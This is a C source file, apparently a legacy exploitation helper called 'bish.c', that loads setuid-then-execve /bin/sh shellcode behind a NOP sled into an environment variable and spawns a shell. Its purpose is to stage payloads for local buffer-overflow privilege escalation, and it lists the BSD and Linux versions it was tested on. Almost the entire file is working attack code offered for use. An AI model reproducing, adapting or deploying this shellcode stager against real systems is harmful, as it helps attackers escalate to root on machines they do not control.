/* bish.c
 *
 * bob [www.dtors.net]
 *
 * Generic eggshell, was tested and
 * works on:
 *
 * FreeBSD 4.6-PRERELEASE
 * FreeBSD 4.5-RELEASE
 * OpenBSD 3.0
 * NetBSD  1.5.2
 * Linux   2.0.36
 * Linux   2.2.12-20
 * Linux   2.2.16-22
 * Linux   2.4.7-xfs
 * 
 *
 * Shellcode by zillion@safemode.org, added setuid().
 */

#include <stdio.h>
#define B  "\033[1;30m"
#define R  "\033[1;31m"
#define G  "\033[1;32m"
#define Y  "\033[1;33m"
#define bash "/bin/bash"


char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */
        "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd"
        "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80"
        "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0"
        "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50"
        "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89"
        "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{

  char bish[512];

  memset(bish,0x90,512);
  memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
  memcpy(bish,"BISH=",5);
  putenv(bish);
  fprintf(stdout, "%sBish %sloaded %sinto %senviroment\n", B, R, G, Y);
  
  execl(bash, bash,'\0'); //Use this for Linux
  
//system(bash); //use this for BSD

return(0); 
}